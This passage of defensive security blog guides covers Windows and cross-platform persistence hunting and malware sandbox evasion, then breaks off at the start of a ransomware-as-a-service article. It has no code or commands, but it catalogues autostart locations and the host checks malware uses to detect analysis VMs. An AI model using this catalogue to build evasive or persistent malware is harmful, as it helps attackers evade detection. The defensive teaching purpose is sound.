Startup folder | User autostart items | Drop a shortcut or script that runs at logon | T1547.001 | | Scheduled tasks | Automate maintenance | Create a task that runs the payload on a trigger | T1053.005 | | Windows services | Run background software | Install a service that launches the payload at boot | T1543.003 | | Winlogon and shell keys | Configure the logon session | Redirect logon helpers to the payload | T1547.004 | | COM hijacking | Component loading | Point a COM reference at a malicious library | T1546.015 | | WMI event subscription | System event automation | Trigger the payload on a defined event | T1546.003 | The run key and the startup folder are the simplest and run in the user's context. Scheduled tasks and services are favoured for reliability and for the ability to run with higher privilege or at boot before a user logs in. The lower rows are quieter and harder to spot, which is why attackers reach for them when they expect to be hunted. ## Registry run keys and the startup folder The classic persistence is a value under a run key that names an executable to launch at logon. It is trivial to set, works without admin rights in the user hive, and survives reboot. The startup folder is the same idea expressed as files: a shortcut or script placed there runs when the user logs in. Both are heavily used and heavily monitored, so commodity malware relies on them while more careful actors avoid them. For a defender they are also the easiest win, because the legitimate contents of these locations change slowly and a new entry stands out. ## Scheduled tasks and services Scheduled tasks are a favourite because they are flexible and normal. A task can run at boot, at logon, at a set time, on idle, or on an event, which lets malware relaunch itself on almost any trigger. Because administrators create tasks constantly, a malicious one blends in unless you are watching who created it and what it runs. Services persist even more strongly. A service configured to start at boot launches before any user logs in and can run with high privilege. Installing a service is a privileged action that Windows records, which is both why attackers value it and why it is catchable if you collect the right log. These map to [Scheduled Task/Job (T1053)](https://attack.mitre.org/techniques/T1053/) and [Create or Modify System Process (T1543)](https://attack.mitre.org/techniques/T1543/). ## The quieter corners Beyond the workhorses, Windows offers many less-travelled autostart points: Winlogon helper keys, image-file-execution-options debuggers, COM hijacking, WMI event subscriptions, and more. These are catalogued under [Boot or Logon Autostart Execution (T1547)](https://attack.mitre.org/techniques/T1547/) and related techniques. They are quieter because most tools do not watch them and most admins never touch them. That same obscurity is a detection opportunity: a change to a location that legitimately almost never changes is a strong signal on its own. Whatever the mechanism, the persistence entry ultimately points at a file, and that file is usually one of a small set of abused formats: a script, a shortcut, a DLL, an executable in a user-writable path. Our File-Format Abuse Atlas covers what those payload files look like and how to recognise them, which pairs directly with finding the entry that launches them. Every autostart entry is a promise that something intends to keep running. When you find a suspicious one, the file it points at is often the live payload, and the account or process that created it is a thread back toward the initial compromise. Do not stop at deleting the entry. Pull the file, the creating process, and the timestamp, then look for what else happened in that window. ## How to detect and defend Persistence is one of the most huntable phases, because the artefacts sit still and the legitimate baseline changes slowly. A practical approach: 1. **Baseline the autostart surface.** Enumerate run keys, startup folders, scheduled tasks, and services on known-good systems. Tools that list every autostart entry give you the full picture. Anything new against that baseline is a lead. 2. **Alert on creation, not on presence alone.** The moment a service is installed or a scheduled task is created is a discrete, loggable event. Watching creation catches persistence as it is planted, before the next reboot even uses it. 3. **Collect the right event logs.** Windows records service installation, scheduled-task creation, and many registry changes. Enable and centralise these, along with process-creation logging, so persistence events are searchable across the fleet. 4. **Correlate the creator.** The most useful question about a new autostart entry is what created it. A scheduled task created by a script host that spawned from a document is a very different story from one created by your patch-management tool. Tie the persistence event back to its parent process chain. 5. **Judge the target path.** A run key, task, or service pointing at a payload in a temp folder, a user profile, or another user-writable location is far more suspicious than one pointing at a signed binary in a normal install path. 6. **Watch the quiet corners.** Extend hunting beyond run keys to Winlogon helpers, COM references, and WMI subscriptions. Their legitimate change rate is near zero, so any change is worth reviewing. 7. **Constrain who can persist.** Least privilege limits which accounts can install services or create system-level tasks. Application control stops unapproved payloads from being what an autostart entry launches in the first place. A high-yield starting rule set: a service or scheduled task created by a script host or a process running from a user-writable path; a new run-key value pointing outside standard program directories; and any autostart change whose target file is unsigned and recently written. These few chains catch a large share of commodity persistence without drowning you in noise. ## A persistence hunt, walked through To see how these pieces fit, trace how a single suspicious autostart entry unfolds into a full picture of an intrusion. Suppose your baseline comparison flags a new scheduled task on a workstation that was not present last week. The first question is what the task runs. Say it launches a script interpreter with a path to a file in the user's profile directory. That is already two signals stacked: a script host rather than a signed application, and a payload living in a user-writable location instead of a normal install path. Neither is proof, and both are worth explaining. The second question is what created the task. Scheduled-task creation is a discrete, logged event that records the account and often the process responsible. If the creating process was a document viewer or an email client spawning a script host, you are looking at a likely delivery chain: a user opened something, it spawned a script, and that script planted the task. If instead the creator was your endpoint-management agent, the entry is probably benign and the file path is explained by a legitimate deployment. The third question is what else happened in that window. The creation timestamp anchors a search. Around that moment you would expect to see the process that dropped the file, any network connections it made, and possibly other persistence planted at the same time, since attackers often install more than one mechanism for redundancy. Following the parent process chain backward frequently reaches the initial access event, which is how a compromise that began weeks earlier finally gets dated. The fourth question is what the payload does when it runs. The file the task points at is often the live payload or a loader for it. Pulling that file for analysis, rather than deleting the task and moving on, is what turns a single detection into an understanding of the whole intrusion. Deleting the entry alone removes one relaunch mechanism and leaves any others, plus the initial foothold, in place. That sequence, from entry to creator to timeline to payload, is the core loop of persistence hunting, and it works precisely because the autostart entry sits still while everything around the initial break-in has already scrolled out of the logs. ## Persistence on other systems Windows dominates persistence discussion because of its rich autostart surface, and the same logic carries to other systems even though the mechanisms differ. On Linux and Unix-like systems, the workhorses are service manager units, cron and its per-user variants, shell profile and startup scripts, and entries that run at login or at boot. A malicious service unit that starts at boot is the direct analogue of a Windows service, and a cron entry mirrors a scheduled task. The hunting approach is identical: baseline the units, cron entries, and startup scripts that should exist, alert when a new one appears, and judge it by what created it, where its target lives, and whether it is signed or expected. On macOS, launch agents and launch daemons play the role of autostart entries, alongside login items and configuration profiles. Again the pattern holds. A new launch agent pointing at a binary in a user-writable directory, created by an unexpected process, is the same shape of finding as a suspicious Windows run key. The portable lesson is that every general-purpose operating system offers a set of places code can register to run automatically, those places change slowly under normal use, and that slow change rate is what makes new entries a reliable hunting signal regardless of platform. These autostart families across platforms are grouped under [Boot or Logon Autostart Execution (T1547)](https://attack.mitre.org/techniques/T1547/) and the service and scheduled-job techniques alongside it. Container and cloud workloads add their own variants, such as init scripts baked into an image or a scheduled job defined in an orchestration platform, and the same baseline-and-alert discipline applies to them as well. ## Detection signals Beyond the general hunting loop, specific indicators separate suspicious persistence from routine administration. Concrete signals worth building detections around: - **An autostart entry created by a process spawned from a document or email client.** A script host or shell that traces its parentage back to an office application or mail reader, then writes a run key, task, or service, is a strong delivery-to-persistence chain. - **A target path in a user-writable or temporary location.** Run keys, tasks, and services that point at a payload in a temp folder, a user profile, or a public directory are far more suspicious than those pointing at signed binaries in standard install paths. - **An unsigned target file written shortly before the entry appeared.** Persistence pointing at a binary or script created minutes earlier and lacking a valid signature is a common commodity-malware pattern. - **Changes to autostart locations that legitimately almost never change.** Winlogon helper keys, image-file-execution-options debugger values, COM references, and WMI event subscriptions have a near-zero baseline change rate, so any modification is worth reviewing on its own. - **A service or task installed outside a maintenance or deployment window.** Legitimate service and task creation usually clusters around patching and software rollout. One appearing at an odd hour on a single host stands out against that rhythm. - **Duplicate or redundant persistence appearing together.** Several new autostart entries created in the same short window, pointing at the same or related payloads, suggest an attacker installing redundancy rather than a single benign install. An autostart entry is the visible end of a thread. The file it points at is often the live payload, the process that created it points toward delivery, and its timestamp anchors a search for everything else that happened in that window. Removing the entry alone treats the symptom and leaves the initial foothold and any redundant persistence untouched. Collect the file, the creator, and the timeline first. ## How persistence compares to nearby techniques Persistence is sometimes conflated with the phases around it. Separating them clarifies what you are hunting. | Phase | Goal | Example on Windows | ATT&CK | |---|---|---|---| | Execution | Run code once, now | A script host launched from a document | T1059 | | Persistence | Run code again after reboot or logoff | A run key or scheduled task pointing at the payload | T1547, T1053 | | Privilege escalation | Gain higher rights | Abusing a service to run as system | T1543, T1548 | | Defense evasion | Avoid detection while running | Hiding a payload or clearing logs | T1070, T1564 | Persistence and privilege escalation overlap because some mechanisms do both. Installing a service persists the payload and can run it with high privilege at boot, so the same action lands in two phases. Persistence and execution are distinct: execution is running now, persistence is arranging to run again later. Keeping these separate matters for hunting, because the loggable event you key on differs. Execution shows up as a process launch, persistence shows up as the creation of an autostart entry, and the richest detections tie the two together, catching the moment a suspicious process creates a durable relaunch mechanism. ## Common misconceptions A few beliefs lead teams to hunt persistence badly or not at all. - **"Antivirus will catch anything that autostarts."** Signature and reputation engines catch known-bad payloads. Persistence often points at a novel loader, a living-off-the-land binary, or a script that is not inherently malicious, so the entry itself is the more reliable signal than the file being flagged. - **"Deleting the run key removes the malware."** Removing one autostart entry stops one relaunch path. Careful actors plant redundant persistence, and the initial payload and foothold remain. Remediation means finding the payload and the delivery chain, then the entry as the last step. - **"Only admin-level persistence matters."** User-context run keys and startup-folder items need no special privilege and survive reboot perfectly well. Commodity malware relies on them precisely because they are easy and effective without escalation. - **"Fileless means there is nothing to find."** Techniques such as WMI event subscriptions or registry-stored payloads avoid a conventional file on disk, but they still register somewhere the system reads at a trigger. That registration is the artefact, and it lives in exactly the slow-changing locations worth baselining. - **"If it has been quiet, there is no persistence."** A dormant implant can sit idle for long periods and relaunch on a schedule or an event without generating obvious activity. Absence of noise is not evidence of a clean autostart surface. The baseline comparison is what confirms it. ## Frequently asked questions **What is the difference between persistence and execution?** Execution is running code once, right now, such as a script launching from an opened document. Persistence is arranging for code to run again after the event that would normally stop it, such as a reboot or logoff, by registering the payload with something the system starts automatically. They are separate ATT&CK phases and they produce different loggable events, a process launch versus the creation of an autostart entry. **Which persistence mechanisms are most common?** Registry run keys, startup-folder items, scheduled tasks, and Windows services are the workhorses because they are reliable, well-documented, and blend into normal administration. Run keys and startup items work in the user context without special privilege, while services and boot-triggered tasks are favoured when the attacker wants higher privilege or execution before a user logs in. **How do I detect persistence I do not already have a signature for?** Baseline the autostart surface on known-good systems, then alert on anything new against that baseline. Judge each new entry by what created it, where its target points, and whether the target is signed and recently written. This catches novel payloads because it keys on the act of registering to autostart rather than on recognising the specific file. **Does persistence require administrator privileges?** No. Run keys in the user hive and items in the user's startup folder need no elevation and survive reboot. Some mechanisms, such as installing a service or a system-level scheduled task, do require higher privilege and in exchange offer boot-time execution and elevated rights. Both privileged and unprivileged persistence are common. **What logs do I need before I can hunt persistence effectively?** At a minimum, process-creation logging, service-installation events, scheduled-task creation events, and relevant registry-change auditing, all centralised so they are searchable across the fleet. Without these, the discrete moment a persistence entry is planted is invisible, and you are left comparing static state instead of catching creation as it happens. **Why follow an autostart entry back instead of just deleting it?** Because the entry is one visible end of an intrusion. The file it points at is often the live payload, the process that created it points toward how the machine was compromised, and its timestamp anchors a search for redundant persistence and the initial foothold. Deleting the entry alone removes one relaunch path and leaves the rest of the intrusion intact. **Does this apply beyond Windows?** Yes. Linux uses service manager units, cron, and login and boot scripts. macOS uses launch agents, launch daemons, and login items. The mechanisms differ, but every general-purpose system offers a slow-changing set of places code can register to run automatically, and that slow change rate makes new entries a reliable hunting signal on any platform. Persistence is where a transient intrusion becomes a resident one, and that is exactly what makes it findable. The malware has to leave something behind that the system will faithfully execute, and that something sits among a small, slow-changing set of startup locations. Know what belongs there, watch what gets created, and follow every new entry back to what made it. The mechanism that keeps the attacker alive is the same one that gives them away. ## Related guides - [Windows Event IDs for Security](/windows-event-ids-for-security) - [What Is a Rootkit](/what-is-a-rootkit) - [Threat Hunting Guide](/threat-hunting-guide) - [Living Off the Land Explained](/living-off-the-land-explained) ### Sources - MITRE ATT&CK: Boot or Logon Autostart Execution (T1547) (MITRE): https://attack.mitre.org/techniques/T1547/ - MITRE ATT&CK: Scheduled Task/Job (T1053) (MITRE): https://attack.mitre.org/techniques/T1053/ - MITRE ATT&CK: Create or Modify System Process (T1543) (MITRE): https://attack.mitre.org/techniques/T1543/ --- ## Malware Sandbox Evasion: How Samples Dodge Analysis > How malware spots an analysis sandbox and stalls, sleeps, or hides, plus the detection and defensive countermeasures that beat evasion at scale. - URL: https://blog.pwnsy.com/malware-sandbox-evasion - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: malware - Tags: sandbox-evasion, malware-analysis, detection-engineering, anti-analysis, blue-team - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling) ### TL;DR - Sandbox evasion is the set of tricks malware uses to notice it is running inside an automated analysis environment and then behave harmlessly so it is scored as clean. - Common checks look for virtualization artifacts, small or fresh systems, missing user activity, and the acceleration that automated sandboxes use to speed up analysis. - A frequent tactic is simply to wait: long sleeps and stalling code outlast the sandbox timeout, so nothing malicious is ever observed. - The technique maps to MITRE ATT&CK Virtualization/Sandbox Evasion (T1497) and related discovery and time-based defense evasion behaviours. ### Key Takeaways - Evasion works by exploiting how sandboxes differ from real machines: too clean, too small, too fast, and with no human at the keyboard. - Time-based evasion is the cheapest and most effective family, from long sleeps to logic that only fires after a reboot or a specific date. - Environment checks read CPU features, MAC addresses, driver names, and installed tooling to fingerprint a virtual or analysis host. - Defenders counter it with more realistic sandboxes, sleep patching, extended timeouts, and by treating heavy evasion as a signal in its own right. - No single sandbox is authoritative, so layered detection and human analysis of stalling or check-heavy samples matter more than any one verdict. An automated sandbox detonates a suspicious file, watches what it does for a few minutes, and returns a verdict. It is one of the most scalable tools a defender has. Malware authors know this, so a large share of modern samples spend their first moments doing nothing malicious at all. They look around, decide whether they are being watched, and only then choose whether to act. This is sandbox evasion. The sample is trying to answer one question before it commits: is this a real victim, or an analysis machine that will report me? Get the answer right and the malware runs everywhere except the places that would catch it. ## Why sandboxes are detectable An analysis sandbox is a virtual machine spun up on demand, wiped, and reused. That lifecycle leaves a fingerprint. Real user machines are messy, old, and busy. Sandboxes tend to be the opposite, and malware reads the difference. The tells fall into a few groups: - **Virtualization artifacts.** Hypervisor CPU flags, virtual device names, VirtualBox or VMware drivers, and characteristic MAC address prefixes all reveal a guest VM. - **Too clean, too small.** A default sandbox often has one or two CPU cores, a few gigabytes of RAM, a tiny disk, and almost no installed applications or user files. Real workstations look nothing like that. - **No human present.** Sandboxes rarely move a mouse, scroll a document, or have browser history and recent files. Absence of activity is itself a signal. - **Known tooling.** Analysis hosts run monitoring agents, debuggers, and utilities like Wireshark or Process Monitor. Their processes, drivers, and registry keys give the game away. On MITRE ATT&CK this discovery-and-decide behaviour maps to [Virtualization/Sandbox Evasion (T1497)](https://attack.mitre.org/techniques/T1497/), with related checks under System Information Discovery and System Time Discovery. ## The main evasion families ### Time-based stalling The simplest evasion is patience. A sandbox can only watch a sample for so long before it has to move on to the next job, so a queue often gives each detonation a few minutes. Malware that sleeps past that window is never seen doing anything. Crude versions call a long sleep. Better ones use stalling loops of pointless computation, or fire only after a reboot, a specific date, or a set number of user interactions. Some sandboxes fast-forward sleep calls to save time, so authors check the clock before and after a sleep. If ten seconds of requested sleep passed in an instant, the sample knows it is being accelerated and bails. This family maps to [Time Based Evasion (T1497.003)](https://attack.mitre.org/techniques/T1497/003/). ### Environment fingerprinting Here the malware actively inspects the host. It reads CPU vendor strings, counts cores, measures RAM and disk size, enumerates running processes and loaded drivers, and checks MAC address ranges tied to virtualization vendors. It may look for the registry keys and files that VM guest additions install. Any one flag can be enough for it to decide it is in a lab. ### User-activity and realism checks Because sandboxes rarely simulate a person well, malware asks for proof of humanity. It checks for recent documents, browser history, a realistic number of installed programs, mouse movement, and screen dimensions. A machine with no history and a cursor that never moves reads as automated. ### Configuration and targeting gates Some samples refuse to run outside a target. They check the system language or keyboard layout, the domain the machine is joined to, the presence of specific software, or geolocation. This doubles as evasion, because a random sandbox usually fails the gate and sees nothing. | Evasion family | What it inspects | Why the sandbox fails it | ATT&CK | |---|---|---|---| | Time-based stalling | Sleep accuracy, uptime, date, reboot count | Short analysis window, accelerated clocks | T1497.003 | | Environment fingerprinting | CPU flags, drivers, MAC, VM artifacts | Runs as a guest VM | T1497.001 | | User-activity checks | History, recent files, mouse, installed apps | No real human, freshly imaged | T1497.002 | | Targeting gates | Language, domain, geo, installed software | Generic, non-targeted host | T1497 | Real samples rarely rely on a single family. A commodity loader will often chain a few cheap checks together: measure sleep accuracy, glance at the core count, look for a monitoring driver, and only proceed if every gate passes. Each check alone is trivial to fool, so operators stack them and require all of them to agree before the payload runs. That stacking is why a sandbox that fixes one tell but leaves three others intact still gets nothing. ## Categories of environment checks in detail For a defender, the practical value is in knowing exactly which host properties a sample reads, because each category maps to a specific hardening step and a specific detection signal. The checks below are the ones analysts see most often across commodity and targeted samples. Reading them as a catalogue helps you predict what a fresh sample will probe and what your sandbox has to answer for. ### CPU and instruction-level tells A guest virtual machine differs from bare metal at the instruction level, and malware reads those differences cheaply. The `CPUID` instruction returns a hypervisor-present bit and, on many hypervisors, a vendor string that names the platform outright. Samples also time short instruction sequences, because emulated or heavily instrumented CPUs run certain operations at anomalous speeds. Timing the gap between two reads of the timestamp counter, or comparing `RDTSC` deltas across a privileged instruction, exposes the overhead a hypervisor or an emulator adds. A defender who wants to close this gap has to think below the operating system, at the level of what the virtual CPU reports about itself. ### Memory, disk, and hardware sizing Fresh sandbox images tend to be small. A sample that reads total physical memory, counts logical processors, measures the primary disk, and enumerates attached peripherals is building a size profile. Two gigabytes of RAM, two cores, a sixty-gigabyte disk, and no printers or USB history look nothing like a used corporate laptop. Some samples also check for a plausible amount of free disk space and a page file, since a machine that has never done real work leaves those artifacts thin. ### Drivers, services, and registry artifacts Guest additions and analysis tooling install drivers, services, and registry keys with predictable names. Malware enumerates loaded kernel modules, walks the service list, and reads registry paths associated with common virtualization guest tools and monitoring agents. Device identifier strings for disk controllers and display adapters frequently carry a vendor name that betrays the platform. On MITRE ATT&CK this reconnaissance sits under System Information Discovery and, for the artifact reads specifically, aligns with the [System Checks branch of T1497.001](https://attack.mitre.org/techniques/T1497/001/). ### Network and domain context A sample can read the host MAC address and compare its leading bytes against the organizationally unique identifiers assigned to virtualization vendors. It can check whether the machine is joined to a domain, resolve its own hostname, and look for a default gateway that actually answers. Analysis networks that are fully simulated or fully isolated tend to fail these in characteristic ways: no real domain, a gateway that does not behave like a corporate router, or DNS that resolves everything to a sinkhole. ### Human-presence signals Because a person leaves a long trail, malware asks for that trail. It reads the count of recent documents, the size of browser history, the number of installed programs, the presence of a second monitor, the cursor position over time, the idle time since the last input, and even the number of open windows. A cursor parked at a single coordinate for the whole run, with zero recent files and a stock set of installed applications, reads as an automated host. This category aligns with [User Activity Based Checks (T1497.002)](https://attack.mitre.org/techniques/T1497/002/). ### Anti-debugging overlap Sandbox checks and anti-debugging checks travel together, because both answer the question of whether something is watching. A sample may call routines that report an attached debugger, inspect process flags that a debugger sets, look for breakpoints written into its own code, or measure how long its own instructions take on the theory that single-stepping is slow. Anti-debugging is a distinct discipline, and it is worth treating as its own line in your triage rather than folding it silently into anti-VM logic. ## Where evasion meets delivery Evasion does not begin at detonation. It starts with the file that carried the sample in. The first-stage object, often a script, an archive, a disk image, or a document, frequently does its own environment checks before it ever unpacks the real payload. A loader that fingerprints the host and refuses to decrypt its next stage inside a VM denies the sandbox anything worth analyzing, because the malicious code is never even revealed. That makes the delivery format a defensive choke point that sits ahead of the sandbox entirely. Our File-Format Abuse Atlas catalogues the formats attackers use to wrap first-stage loaders and the artifacts each leaves behind, which is often where you can flag an evasive sample before the question of detonation even comes up. Different crews also pair specific evasion styles with specific delivery chains, a pattern our Threat Groups directory tracks alongside the tooling each actor favours. An evasive sample is designed to score clean in exactly the environment you use to judge it. Treat a single sandbox "no malicious activity" result as one weak data point, especially for samples that stalled, checked the clock repeatedly, or exited early. Absence of behaviour can mean the sample won. ## Turning evasion into a detection signal The counterintuitive strength here is that evasion is loud if you look for the checks rather than the payload. A benign document does not enumerate loaded drivers, read hypervisor CPU flags, and measure sleep accuracy before deciding whether to continue. The reconnaissance is itself suspicious. Modern analysis systems instrument these checks. When a sample queries VM artifacts, counts cores, or looks for analysis tools, the sandbox logs the query and can weight it heavily even if no payload ever fires. A sample that spends its whole run fingerprinting and then exits is behaving like evasive malware regardless of what it withheld. This inverts the usual analysis mindset. Instead of asking only what a sample did, the sandbox also asks what a sample checked before deciding to do nothing. A benign installer might read a handful of system properties for legitimate reasons, but the specific combination of hypervisor detection, sleep-timing measurement, and analysis-tool enumeration is a profile that legitimate software almost never matches. Scoring on that profile lets a defender flag a sample that technically stayed dormant, which is the whole trick evasion depends on. ## Detection signals to instrument When you build or tune an analysis pipeline, these are the concrete indicators worth logging and weighting. None of them is conclusive on its own. The value is in the combination and the density: a sample that trips several of these in its first seconds is behaving like an evasive loader even if the payload never fires. - **Repeated timestamp reads.** Two or more reads of the timestamp counter or the wall clock separated by a sleep, followed by an early exit, is a classic accelerated-sleep detector. Log the read, the sleep request, and the delta the sample would have measured. - **CPUID hypervisor queries.** Reads of the hypervisor-present bit or the vendor leaf are rare in benign code outside of a few virtualization-aware tools. Flag them and record the leaf requested. - **VM artifact enumeration.** Queries for guest-tool registry keys, driver names, device identifier strings, and service names tied to virtualization platforms. A cluster of these in one process is a strong signal. - **MAC and adapter inspection.** Reads of the network adapter MAC address that are immediately followed by string comparisons, especially when the sample takes no network action afterward. - **Human-presence probing.** Calls that read idle time, cursor position, recent-document counts, or installed-program counts, particularly when they gate a later branch. - **Analysis-tool hunting.** Process and window enumeration that searches for the names of debuggers, packet capturers, and monitoring utilities. - **Long or fragmented sleeps.** A single very long sleep, or many small sleeps that sum to more than the analysis window, especially when paired with a clock read on either side. - **Early clean exit after heavy recon.** The tell that ties it together: dense environment reconnaissance followed by a quiet exit and no payload. That shape is the fingerprint of a sample that decided it was being watched. Treat these as weighted evidence, not as individual verdicts. A legitimate installer might read two or three system properties. An evasive loader reads a dozen across several categories and then does nothing. Score the breadth and the ordering, since the sequence of check then branch then exit is far more telling than any one API call in isolation. ## Hardened sandbox versus bare-metal analysis Defenders have two broad ways to deny a sample its tells, and they trade off against each other. A hardened virtual sandbox scales and resets cleanly but can always, in principle, be fingerprinted as a guest. A bare-metal host removes the strongest tell but is slow to run and hard to restore. Most mature programs run both and route samples between them based on behaviour. | Property | Hardened virtual sandbox | Bare-metal analysis host | |---|---|---| | Throughput | High, many detonations in parallel | Low, one sample at a time | | Reset and cleanup | Fast, snapshot revert in seconds | Slow, reimage or restore from disk | | Anti-VM resistance | Improving but never complete | Strong, no hypervisor to detect | | Instrumentation depth | Rich, hooks at many layers | Thinner, harder to observe from inside | | Cost to operate | Low per sample | High per sample | | Best used for | Bulk triage and first-pass scoring | Samples that defeated the virtual sandbox on purpose | The routing logic between them is where the two approaches earn their keep. A sample that scored clean but showed dense anti-VM reconnaissance is exactly the candidate to promote to bare metal. A sample that detonated fully in the virtual sandbox rarely needs the slower path. Treating the virtual sandbox's own evasion signals as a trigger for deeper analysis turns the attacker's caution into a routing decision you control. ## How evasion evolved Early automated analysis assumed a sample would simply run when executed. That assumption held until analysis at scale became the norm, at which point the incentive flipped and authors began probing for the lab. The first checks were crude: a registry key that named a virtualization vendor, a driver string, a hardcoded sleep longer than the analysis window. Sandboxes answered by hiding those obvious artifacts and by patching sleeps. Authors responded by moving down the stack, from reading named artifacts to timing instructions and measuring the overhead a hypervisor adds. They also moved earlier in the chain, pushing checks into the first-stage loader so the payload never decrypts inside a lab. The current state is an arms race of instrumentation against detection: sandboxes get more realistic and more deeply instrumented, and samples get more careful about what they measure and when. The durable lesson for defenders is that any single hardening step ages, so the environment has to keep changing and the act of checking has to be scored as evidence in its own right. ## How to detect and defend Beating evasion is partly about better sandboxes and partly about not trusting any single verdict. 1. **Make the sandbox look lived-in.** Populate it with browser history, recent documents, plausible installed software, realistic core and memory counts, and a large disk. The closer it is to a real workstation, the fewer gates the malware fails. 2. **Hide the hypervisor and tooling.** Mask obvious VM artifacts, rename or hide monitoring drivers and processes, and randomize MAC addresses and hostnames. The goal is to deny the sample easy fingerprints. 3. **Patch sleeps and extend timeouts.** Intercept and shorten long sleeps so stalling code runs out, but do it without breaking the clock the sample can measure. Vary and lengthen the analysis window so time gates are more likely to trip. 4. **Simulate a user.** Move the mouse, open windows, and generate activity during detonation so human-presence checks pass. 5. **Score the checks as well as the payload.** Instrument VM-artifact reads, tool enumeration, and repeated time queries. Heavy anti-analysis behaviour should raise a sample's risk even when it stays dormant. 6. **Layer your analysis.** Combine automated sandboxing with static analysis and, for high-value or evasive samples, hands-on reverse engineering. On the endpoint, behavioural detection catches what runs on the real host after the gate is passed, which is where the malicious code finally shows itself. For samples that clearly fingerprint virtualization and refuse to run, a bare-metal or physical analysis host removes the most reliable tell the malware has. It is slower and harder to reset, so reserve it for the samples that defeated your virtual sandbox on purpose. Sandbox evasion is a reminder that detection and analysis are adversarial. The moment a tool becomes the standard way defenders judge a file, attackers study that tool and build around it. The durable answer is to keep the environment honest, treat the act of checking as evidence, and never let one automated verdict be the last word. ## How evasion relates to neighbouring techniques Sandbox evasion is often confused with other anti-analysis behaviours that show up in the same samples. Separating them helps triage, because each one calls for a different countermeasure and produces a different signal. The table below places evasion alongside the techniques it travels with. | Technique | Question it answers | Primary target | Defensive counter | |---|---|---|---| | Sandbox evasion | Am I in an automated analysis environment? | The sandbox verdict | Realistic hardened sandboxes, score the checks | | Anti-debugging | Is a debugger attached to me right now? | The human reverse engineer | Debugger stealth, kernel-level tracing | | Obfuscation and packing | Can a reader understand my code? | Static analysis and signatures | Unpacking, dynamic analysis, behaviour rules | | Anti-VM | Am I running on a hypervisor at all? | The virtual host itself | Bare-metal analysis, artifact masking | | Targeting gates | Is this the specific victim I want? | Non-target hosts including labs | Match the target profile, geo-aware detonation | The overlap is real, and one sample can use all five. A packed loader might unpack only after passing an anti-VM check, run a targeting gate on the system language, and refuse to reveal its next stage while a debugger is attached. For triage, the useful move is to tag which behaviours a sample shows rather than lumping them all under one label, because the tags tell you which analysis path will actually see the payload. ## Common misconceptions **A clean sandbox verdict means the file is safe.** It means the file did nothing observable in that environment during that window. For an evasive sample, those are the exact conditions it was built to survive. The verdict is one weak input, most trustworthy when the sample actually detonated and least trustworthy when it stalled or exited early. **Making the sandbox undetectable is achievable.** A guest virtual machine can always, in principle, be distinguished from bare metal by something, whether a timing artifact or a device string. Hardening raises the cost of detection and closes the cheap tells, and that is worth doing, though the goal is to raise the bar rather than to become perfectly invisible. **Only advanced actors bother with evasion.** Commodity loaders ship with stacked cheap checks by default, because the code is widely available and the checks cost almost nothing. Evasion is a baseline feature of ordinary malware, not a marker of sophistication. **Extending the timeout solves stalling.** Longer windows help against fixed sleeps, and a sample can measure the clock and simply wait longer, or gate on a reboot or a future date that no timeout will reach. Timeout extension is one lever among several, useful alongside sleep patching and check scoring rather than on its own. **Evasion only matters at detonation.** The first-stage object often checks the environment before it ever unpacks. A loader that refuses to decrypt inside a lab denies the sandbox anything to analyze, which is why the delivery format is a detection opportunity that sits ahead of the sandbox entirely. ## Frequently asked questions **What is the difference between sandbox evasion and anti-debugging?** Sandbox evasion tries to detect an automated analysis environment so the sample can stay dormant and score clean. Anti-debugging tries to detect a human reverse engineer stepping through the code. They often appear together because both answer whether something is watching, and both map into the anti-analysis stage of an intrusion, though they target different analysts and call for different countermeasures. **Can a sandbox ever be made completely undetectable?** No, not with certainty. A guest virtual machine differs from bare metal somewhere, whether in a timing measurement, a device identifier, or an instruction-level artifact. Hardening removes the cheap and obvious tells and forces the malware to spend more effort, which is valuable. When a sample clearly defeats a virtual host on purpose, bare-metal analysis removes the single most reliable tell it has. **Why not just run every sample for an hour to defeat stalling?** Time is expensive at scale, and a determined sample can outlast any fixed window by measuring the clock, gating on a reboot, or waiting for a specific date. Extended timeouts help against simple fixed sleeps, and the more efficient answer is to patch sleeps so stalling code runs out quickly and to score the presence of heavy time checks as a signal in its own right. **How do I detect evasion if the sample never runs its payload?** Instrument the checks rather than only the payload. Log hypervisor queries, repeated timestamp reads, VM-artifact enumeration, and analysis-tool hunting. A sample that performs dense reconnaissance across several categories and then exits quietly is behaving like evasive malware, and you can score and flag it on that behaviour even though it withheld the payload. **Does bare-metal analysis remove the need for a virtual sandbox?** No. Bare metal is slow to run and slow to reset, so it does not scale to bulk triage. Most programs keep a hardened virtual sandbox for first-pass scoring and reserve bare metal for the samples that showed strong anti-VM reconnaissance yet scored clean. The virtual sandbox's own evasion signals become the trigger that routes a sample to the slower path. **Is sandbox evasion the same as an environment-keyed payload?** They overlap. Targeting gates that key on system language, domain membership, or geolocation double as evasion because a generic sandbox usually fails the gate and sees nothing. The intent differs slightly, since a targeting gate is about hitting the right victim while evasion is about avoiding analysis, and in practice the same check often serves both purposes at once. **Where does sandbox evasion sit in MITRE ATT&CK?** The parent technique is [Virtualization/Sandbox Evasion (T1497)](https://attack.mitre.org/techniques/T1497/), with sub-techniques for [System Checks (T1497.001)](https://attack.mitre.org/techniques/T1497/001/), [User Activity Based Checks (T1497.002)](https://attack.mitre.org/techniques/T1497/002/), and [Time Based Evasion (T1497.003)](https://attack.mitre.org/techniques/T1497/003/). Related reconnaissance appears under System Information Discovery and System Time Discovery. ## Related guides - [Malware Obfuscation Techniques](/malware-obfuscation-techniques) - [Intro to Malware Analysis](/intro-to-malware-analysis) - [What Is Fileless Malware](/what-is-fileless-malware) - [Threat Hunting Guide](/threat-hunting-guide) ### Sources - MITRE ATT&CK: Virtualization/Sandbox Evasion (T1497) (MITRE): https://attack.mitre.org/techniques/T1497/ - MITRE ATT&CK: Time Based Evasion (T1497.003) (MITRE): https://attack.mitre.org/techniques/T1497/003/ - NIST SP 800-83: Guide to Malware Incident Prevention and Handling (NIST): https://csrc.nist.gov/pubs/sp/800/83/r1/final --- ## Ransomware-as-a-Service Explained: The Affiliate Model > RaaS turns ransomware into a rented product with affiliates and double extortion. How the business works, who plays each role, and where to focus defense. - URL: https://blog.pwnsy.com/ransomware-as-a-service-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: malware - 